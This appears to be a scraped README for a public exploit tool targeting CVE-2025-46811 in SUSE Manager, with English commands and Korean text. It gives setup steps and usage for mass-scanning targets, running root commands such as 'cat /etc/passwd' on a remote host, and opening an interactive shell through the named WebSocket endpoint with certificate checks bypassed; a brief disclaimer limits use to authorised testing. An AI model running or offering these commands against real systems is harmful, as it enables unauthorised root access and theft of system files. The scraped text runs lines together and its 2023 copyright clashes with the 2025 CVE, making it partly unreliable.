b-l-x/cve-2025-46811CVE-2025-46811
git clone https://github.com/yourusername/suse-manager-exploit.git
cd suse-manager-exploit
pip install -r requirements.txtpython3 exploit.py scan -i targets.txt -o vulnerable.txt --debug# 단일 명령 python3 exploit.py exploit 10.0.0.5 -c "cat /etc/passwd"대화형 셸
python3 exploit.py exploit vulnerable.com --debug
이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 사전 허가 없이 시스템에 사용하는 것은 불법입니다.
MIT - Copyright (c) 2023
| 구성 요소 | 설명 |
|---|---|
| WebSocket 엔드포인트 | /rhn/websocket/minion/remote-commands |
| 취약점 확인 | id를 통한 루트 명령 실행 확인 |
| SSL 처리 | 인증서 검증 우회 |